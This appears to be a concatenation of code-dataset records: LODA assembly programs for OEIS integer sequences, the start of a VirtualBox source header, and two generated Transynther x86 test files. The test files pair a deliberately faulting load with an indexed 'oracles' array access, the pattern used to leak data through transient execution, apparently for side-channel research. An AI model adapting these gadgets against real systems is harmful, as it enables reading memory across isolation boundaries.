] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/026/A026059.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A026059: a(n) = (d(n)-r(n))/5, where d = A026057 and r is the periodic sequence with fundamental period (1,0,3,1,0).
; Submitted by Christian Krause
; 5,10,16,25,36,49,65,83,105,130,158,190,225,265,309,357,410,467,530,598,671,750,834,925,1022,1125,1235,1351,1475,1606,1744,1890,2043,2205,2375,2553,2740,2935,3140,3354,3577,3810,4052,4305,4568,4841,5125,5419,5725,6042,6370,6710,7061,7425,7801,8189,8590
sub $0,1
mov $2,-12
mul $2,$0
add $0,10
bin $0,3
add $2,$0
mov $0,$2
sub $0,39
div $0,5
sub $0,6
| 33.533333 | 253 | 0.699801 |
d39e58c64be148859aa0a55f2e0c242ac30c55ce | 3,143 | asm | Assembly | programs/oeis/269/A269446.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/269/A269446.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/269/A269446.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A269446: a(n) = n*(n^6 + n^3 + 1)*(n^6 - n^3 + 1)*(n^2 + n + 1)*(n^2 - n + 1)*(n + 1) + 1.
; 1,19,524287,581130733,91625968981,4768371582031,121871948002099,1899815864228857,20587884010836553,168856464709124011,1111111111111111111,6115909044841454629,29043636306420266077,121826690864620509223,459715689149916492091,1583455585752214704241,5037190915060954894609,14942027230321957802947,41660902667961039785743,109912203092239643840221,275941052631578947368421,662424832016551306279039,1526903676810398364086467,3391612314890486843723113,7282588256957615350925401,15158245029548803965250651,30658690608014475618984919,60386265349310831216943637,116048312964052164128548333,217973615949642553199244631,400779816206896551724137931,722355407332346539823809249,1277873588939747380541031457,2221339193279999324884908403,3798266944257473266711034911,6394607984527780308442957261,10609122649875979418919719029,17359221971967836881896586927,28034099579103634892287370323,44714042666548209930918273241,70481514601025641025641025641,109858404241720078965262101259,169415312355265195739719427047,258613603420486109878768921093,390960064489743555528220426621,585578449280908796570517800071,869333244926326187979597262939,1279680255301727941466580948817,1868467947605686541562499217713,2706975238481729585774419702051,3892548230229591836734693877551,5557293596373742578676911931069,7879403716418967349669786879237,11097832834124892930621135337183,15531219839131064226486652546531,21602168064970280078958581995081,29868253154491245231253916502649,41061445202310552245986983525307,56138011095652165931373963776503,76341418908412835325355686147061,103281311866185762711864406779661,139032270387890472660272230794679,186256854983341624264497690274027,248358340979608222424723302452673,329669641811735087525745798680641,435686197988821897112429141998291,573352114691143033129973591044159,751410597400064602523400427092397,980831801927439563490955781452693,1275333627958785735783178712064271,1652013794981614927536231884057971,2132114804102901616229953146908089,2741947174014594541063807855777417,3514000717681733693029076371283563,4488278680720638869491626295954951,5713895385466654457755990930505701,7250984720063682688334396667213469,9172974495450436172205687603706087,11569290494275982594206865277372283,14548564098806166089741452511749681,18242428870361502784810126582278481,22810004539250914091988149723207299,28443181749670586054587326688835407,35372837808267474310223682569565853,43876132851190463092812370815335461,54285057541336632875522658938453311,66996427932059205955259294168056579,82483550813324793676691035214702377,101309814051971756061534760165381273,124144491546329200451312931487339291,151781091873369897640449438202247191,185158623992888664845939971981348309,225386203013373809889616692754173997,273771474593959449759128628035755543,331853398686183737557838886609628171,401440002697135760758578320767017121,484651791534438302301345481297339489,583971588194530989529610991090697267,702301674474115814135999483752045663,843029207995496671706038611156809101
mov $2,17
mov $3,1
add $3,$0
lpb $2
sub $2,1
mul $3,$0
add $3,1
lpe
mov $0,$3
| 241.769231 | 2,964 | 0.934458 |
de3a1ca7bf043a93dc32e2be3511bf58e3682d53 | 4,189 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_sm_/i9-9900K_12_0xca_notsx.log_118_1589.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_sm_/i9-9900K_12_0xca_notsx.log_118_1589.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_sm_/i9-9900K_12_0xca_notsx.log_118_1589.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r15
push %rbp
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_normal_ht+0xaaa8, %rsi
lea addresses_WT_ht+0x568, %rdi
nop
inc %r10
mov $60, %rcx
rep movsb
nop
nop
nop
cmp $35945, %rdx
lea addresses_WT_ht+0x15668, %rsi
lea addresses_UC_ht+0xe568, %rdi
nop
nop
nop
xor $23566, %r15
mov $60, %rcx
rep movsb
nop
add %r15, %r15
lea addresses_A_ht+0x1a968, %r10
nop
xor %rbx, %rbx
movl $0x61626364, (%r10)
nop
nop
nop
nop
dec %r10
lea addresses_A_ht+0x1a660, %rsi
lea addresses_A_ht+0x9ab4, %rdi
nop
nop
nop
sub %rbp, %rbp
mov $68, %rcx
rep movsw
nop
sub %rdx, %rdx
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %r15
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r13
push %r14
push %rbp
push %rdx
push %rsi
// Store
lea addresses_WT+0x1a188, %r11
nop
nop
nop
nop
nop
sub $4433, %r10
mov $0x5152535455565758, %rdx
movq %rdx, %xmm1
vmovups %ymm1, (%r11)
nop
nop
nop
nop
xor %r13, %r13
// Load
lea addresses_A+0x13b68, %rdx
xor %r11, %r11
movups (%rdx), %xmm1
vpextrq $0, %xmm1, %r13
nop
nop
cmp $20212, %rbp
// Store
mov $0x74bc3100000003b0, %rdx
nop
nop
xor %rsi, %rsi
mov $0x5152535455565758, %rbp
movq %rbp, (%rdx)
// Exception!!!
nop
nop
mov (0), %rsi
nop
cmp %r10, %r10
// Load
lea addresses_RW+0x16568, %r11
nop
nop
nop
nop
nop
and %rdx, %rdx
vmovups (%r11), %ymm3
vextracti128 $1, %ymm3, %xmm3
vpextrq $0, %xmm3, %rbp
nop
sub %rsi, %rsi
// Store
lea addresses_normal+0x18d68, %r10
add %rsi, %rsi
mov $0x5152535455565758, %rdx
movq %rdx, (%r10)
and %r14, %r14
// Store
mov $0xb68, %rbp
nop
nop
nop
nop
cmp %rsi, %rsi
movl $0x51525354, (%rbp)
nop
cmp $41871, %rdx
// Load
lea addresses_normal+0x180e8, %r10
inc %rbp
movups (%r10), %xmm4
vpextrq $1, %xmm4, %r13
nop
nop
nop
nop
nop
and %rdx, %rdx
// Faulty Load
lea addresses_normal+0x18d68, %r10
clflush (%r10)
nop
nop
nop
nop
dec %r14
mov (%r10), %r11
lea oracles, %rbp
and $0xff, %r11
shlq $12, %r11
mov (%rbp,%r11,1), %r11
pop %rsi
pop %rdx
pop %rbp
pop %r14
pop %r13
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_normal', 'NT': False, 'AVXalign': True, 'size': 2, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WT', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 5}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_A', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 9}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_NC', 'NT': False, 'AVXalign': True, 'size': 8, 'congruent': 3}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_RW', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 11}}
{'OP': 'STOR', 'dst': {'same': True, 'type': 'addresses_normal', 'NT': False, 'AVXalign': True, 'size': 8, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_P', 'NT': False, 'AVXalign': True, 'size': 4, 'congruent': 9}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_normal', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 5}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_normal', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'same': False, 'congruent': 6, 'type': 'addresses_normal_ht'}, 'dst': {'same': False, 'congruent': 8, 'type': 'addresses_WT_ht'}}
{'OP': 'REPM', 'src': {'same': False, 'congruent': 8, 'type': 'addresses_WT_ht'}, 'dst': {'same': False, 'congruent': 11, 'type': 'addresses_UC_ht'}}
{'OP': 'STOR', 'dst': {'same': True, 'type': 'addresses_A_ht', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 10}}
{'OP': 'REPM', 'src': {'same': False, 'congruent': 3, 'type': 'addresses_A_ht'}, 'dst': {'same': False, 'congruent': 2, 'type': 'addresses_A_ht'}}
{'58': 118}
58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58
*/
| 21.156566 | 353 | 0.646932 |
5de5d10495c162b84012cd6e8484b1a371a36283 | 437 | asm | Assembly | oeis/087/A087035.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/087/A087035.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/087/A087035.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A087035: Maximum value taken on by f(P)=sum(i=1..n, p(i)*p(n+1-i) ) as {p(1),p(2),...,p(n)} ranges over all permutations P of {1,2,3,...n}.
; Submitted by Jamie Morken(s2)
; 1,4,13,28,53,88,137,200,281,380,501,644,813,1008,1233,1488,1777,2100,2461,2860,3301,3784,4313,4888,5513,6188,6917,7700,8541,9440,10401,11424,12513,13668,14893,16188,17557,19000,20521,22120,23801
mul $0,2
add $0,4
mov $1,$0
bin $0,3
sub $0,$1
div $0,4
add $0,1
| 36.416667 | 196 | 0.675057 |
d65a402138ca35929011b3f450ec83625ca1652c | 239 | asm | Assembly | oeis/109/A109065.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/109/A109065.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/109/A109065.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A109065: Numerator of the fraction due in month n of the total interest for a one-year installment loan based on the Rule of 78s (each denominator is 78).
; Submitted by Christian Krause
; 12,11,10,9,8,7,6,5,4,3,2,1
sub $0,12
mul $0,-1
| 34.142857 | 156 | 0.728033 |
8a087df6e93f6a93492515312edf4bd7dd95277a | 982 | asm | Assembly | programs/oeis/076/A076565.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/076/A076565.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | programs/oeis/076/A076565.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | ; A076565: Greatest prime divisor of 2n+1 (sum of two successive integers).
; 3,5,7,3,11,13,5,17,19,7,23,5,3,29,31,11,7,37,13,41,43,5,47,7,17,53,11,19,59,61,7,13,67,23,71,73,5,11,79,3,83,17,29,89,13,31,19,97,11,101,103,7,107,109,37,113,23,13,17,11,41,5,127,43,131,19,5,137,139,47,13,29,7,149,151,17,31,157,53,23,163,11,167,13,19,173,7,59,179,181,61,37,17,7,191,193,13,197,199,67,29,41,23,19,211,71,43,31,73,17,223,5,227,229,11,233,47,79,239,241,3,7,19,83,251,23,17,257,37,29,263,53,89,269,271,13,11,277,31,281,283,19,41,17,97,293,59,11,23,43,101,61,307,103,311,313,7,317,29,107,19,13,109,47,331,37,67,337,113,31,7,23,347,349,13,353,71,17,359,19,11,73,367,41,53,373,5,29,379,127,383,11,43,389,23,131,79,397,19,401,31,5,37,409,137,59,83,139,419,421,47,17,61,13,431,433,29,23,439,7,443,89,149,449,41,151,13,457,17,461,463,31,467,67,157,43,19,53,479,37,23,97,487,163,491,29,11,71,499,167
add $0,1
mul $0,2
cal $0,6530 ; Gpf(n): greatest prime dividing n, for n >= 2; a(1)=1.
mov $1,$0
| 122.75 | 807 | 0.683299 |
e21719ee9a742cd36270ae8f5b61ab9ea8e5470e | 818 | asm | Assembly | oeis/267/A267729.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/267/A267729.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/267/A267729.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A267729: Number of n X 2 0..1 arrays with every repeated value in every row and column greater than or equal to the previous repeated value.
; 4,16,64,225,784,2601,8464,26896,84100,259081,788544,2374681,7086244,20976400,61653904,180069561,522945424,1510954641,4345446400,12444741136,35502850084,100926300721,285976813824,807886380625,2275928269924,6395011514896,17925672112384,50133749309361,139916251104400,389714148310041,1083467532580624,3006938201829136,8331345051544804,23047686436476025,63664530570529344,175614056950029481,483775109813355844,1331002729660919056,3657565751059795600,10039401191508990921,27526369714107483664
add $0,1
seq $0,320947 ; a(n) is the number of dominoes, among all domino tilings of the 2 X n rectangle, sharing a length-2 side with the boundary of the rectangle.
pow $0,2
div $0,4
| 102.25 | 489 | 0.845966 |
51819c4766f025928a94e6000f8a9daa7d27e9b8 | 7,333 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_sm_/i7-7700_9_0x48.log_21829_35.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_sm_/i7-7700_9_0x48.log_21829_35.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_sm_/i7-7700_9_0x48.log_21829_35.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r13
push %rax
push %rbp
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_normal_ht+0xadc, %rbx
nop
sub %rdx, %rdx
mov $0x6162636465666768, %r11
movq %r11, %xmm2
vmovups %ymm2, (%rbx)
nop
nop
nop
add %r13, %r13
lea addresses_WT_ht+0x1e35c, %rsi
cmp $26747, %rbx
mov $0x6162636465666768, %rax
movq %rax, %xmm7
movups %xmm7, (%rsi)
nop
nop
add $2518, %rbx
lea addresses_A_ht+0xdb5c, %r11
nop
nop
nop
nop
nop
inc %rbp
and $0xffffffffffffffc0, %r11
movaps (%r11), %xmm1
vpextrq $0, %xmm1, %rsi
nop
nop
nop
nop
nop
sub %rax, %rax
lea addresses_A_ht+0x17d20, %rsi
nop
nop
nop
add %r11, %r11
movw $0x6162, (%rsi)
nop
nop
nop
sub $4847, %rsi
lea addresses_D_ht+0x1ef70, %rax
nop
nop
nop
nop
nop
sub $22781, %r13
movw $0x6162, (%rax)
nop
nop
nop
nop
nop
xor %rax, %rax
lea addresses_WT_ht+0x725c, %rsi
lea addresses_WT_ht+0xb05c, %rdi
cmp $4469, %r13
mov $46, %rcx
rep movsb
nop
nop
nop
nop
sub $34625, %rdi
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %rax
pop %r13
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r12
push %r15
push %r9
push %rax
push %rbx
push %rdx
// Store
lea addresses_normal+0x535c, %r15
nop
nop
nop
nop
inc %r11
movw $0x5152, (%r15)
nop
nop
xor $57979, %r9
// Store
lea addresses_WC+0x1ab5c, %rax
nop
nop
nop
nop
nop
cmp $30384, %rdx
movl $0x51525354, (%rax)
nop
nop
nop
nop
nop
xor $18438, %r9
// Store
lea addresses_WC+0x615c, %rdx
nop
nop
nop
nop
nop
xor $13244, %rbx
mov $0x5152535455565758, %r11
movq %r11, %xmm6
vmovups %ymm6, (%rdx)
nop
nop
sub $22922, %r15
// Store
lea addresses_PSE+0x95e4, %r12
clflush (%r12)
nop
nop
nop
nop
nop
sub $63467, %rdx
mov $0x5152535455565758, %rax
movq %rax, %xmm3
vmovups %ymm3, (%r12)
nop
nop
nop
nop
xor %r9, %r9
// Store
lea addresses_PSE+0xf45c, %r11
sub %r15, %r15
movl $0x51525354, (%r11)
nop
nop
nop
cmp $22267, %rax
// Store
lea addresses_RW+0x5c6a, %r11
and $51774, %r15
mov $0x5152535455565758, %rdx
movq %rdx, %xmm5
movups %xmm5, (%r11)
nop
nop
cmp $23858, %r15
// Store
lea addresses_RW+0xdddc, %r12
nop
nop
sub $17583, %r9
movl $0x51525354, (%r12)
cmp $24176, %r15
// Faulty Load
lea addresses_WC+0x1ab5c, %r15
sub $25590, %rax
mov (%r15), %r11
lea oracles, %r12
and $0xff, %r11
shlq $12, %r11
mov (%r12,%r11,1), %r11
pop %rdx
pop %rbx
pop %rax
pop %r9
pop %r15
pop %r12
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_WC', 'AVXalign': False, 'congruent': 0, 'size': 32, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'AVXalign': True, 'congruent': 10, 'size': 2, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC', 'AVXalign': False, 'congruent': 0, 'size': 4, 'same': True, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC', 'AVXalign': False, 'congruent': 7, 'size': 32, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_PSE', 'AVXalign': False, 'congruent': 3, 'size': 32, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_PSE', 'AVXalign': False, 'congruent': 7, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_RW', 'AVXalign': False, 'congruent': 1, 'size': 16, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_RW', 'AVXalign': False, 'congruent': 7, 'size': 4, 'same': False, 'NT': True}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_WC', 'AVXalign': False, 'congruent': 0, 'size': 8, 'same': True, 'NT': False}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 7, 'size': 32, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 11, 'size': 16, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'AVXalign': True, 'congruent': 8, 'size': 16, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 1, 'size': 2, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': True, 'congruent': 2, 'size': 2, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 7, 'same': False}}
{'54': 21829}
54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54
*/
| 32.021834 | 2,999 | 0.655666 |
5e8b3f3c0409a0549d2244b8d065794428c9618f | 448 | asm | Assembly | programs/oeis/188/A188375.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/188/A188375.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | programs/oeis/188/A188375.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | ; A188375: Positions of 0 in A188374; complement of A188376.
; 2,3,5,6,9,10,12,13,16,17,19,20,22,23,26,27,29,30,33,34,36,37,39,40,43,44,46,47,50,51,53,54,57,58,60,61,63,64,67,68,70,71,74,75,77,78,80,81,84,85,87,88,91,92,94,95,98,99,101,102,104,105,108,109,111,112,115,116,118,119,121,122,125,126,128,129,132,133,135,136,138,139,142,143
mov $3,$0
div $0,2
add $0,1
mov $2,$0
pow $2,2
lpb $2
sub $2,$1
add $1,1
sub $2,1
lpe
add $1,1
add $1,$3
| 28 | 274 | 0.654018 |
5ef8e6a72400d671481dfd1c18ad6c9eb432c58e | 384 | asm | Assembly | programs/oeis/157/A157423.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/157/A157423.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/157/A157423.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A157423: Triangle read by rows, T(n,k) = 0 if (n-k+1) is prime, else 1.
; 1,0,1,0,0,1,1,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,1,0,1,0,0,1,1,0,1,0,1,0,0,1,1,1,0,1,0,1,0,0,1,1,1,1,0,1,0,1,0,0,1,0,1,1,1,0,1,0,1,0,0,1,1,0,1,1,1,0,1,0,1,0,0,1
seq $0,25676 ; Exponent of 8 (value of i) in n-th number of form 8^i*9^j.
seq $0,5171 ; Characteristic function of nonprimes: 0 if n is prime, else 1.
| 64 | 157 | 0.598958 |
7b2758ca13de02ffa92dd158dd36f1eea4c34330 | 19,564 | asm | Assembly | vbox/src/VBox/ValidationKit/bootsectors/bs3kit/bs3-cmn-RegCtxRestore.asm | Nurzamal/rest_api_docker | a9cc01dfc235467d490d9663755b33ef6990bdd8 | [
"MIT"
] | null | null | null | vbox/src/VBox/ValidationKit/bootsectors/bs3kit/bs3-cmn-RegCtxRestore.asm | Nurzamal/rest_api_docker | a9cc01dfc235467d490d9663755b33ef6990bdd8 | [
"MIT"
] | null | null | null | vbox/src/VBox/ValidationKit/bootsectors/bs3kit/bs3-cmn-RegCtxRestore.asm | Nurzamal/rest_api_docker | a9cc01dfc235467d490d9663755b33ef6990bdd8 | [
"MIT"
] | null | null | null | ; $Id: bs3-cmn-RegCtxRestore.asm 72133 2018-05-06 23:55:06Z vboxsync $
;; @file
; BS3Kit - Bs3RegCtxRestore.
;
;
; Copyright (C) 2007-2017 Oracle Corporation
;
; This file is part of VirtualBox Open Source Edition (OSE), as
; available from http://www.virtualbox.org. This file is free software;
; you can redistribute it and/or modify it under the terms of the GNU
; General Public License (GPL) as published by the Free Software
; Foundation, in version 2 as it comes in the "COPYING" file of the
; VirtualBox OSE distribution. VirtualBox OSE is distributed in the
; hope that it will be useful, but WITHOUT ANY WARRANTY of any kind.
;
; The contents of this file may alternatively be used under the terms
; of the Common Development and Distribution License Version 1.0
; (CDDL) only, as it comes in the "COPYING.CDDL" file of the
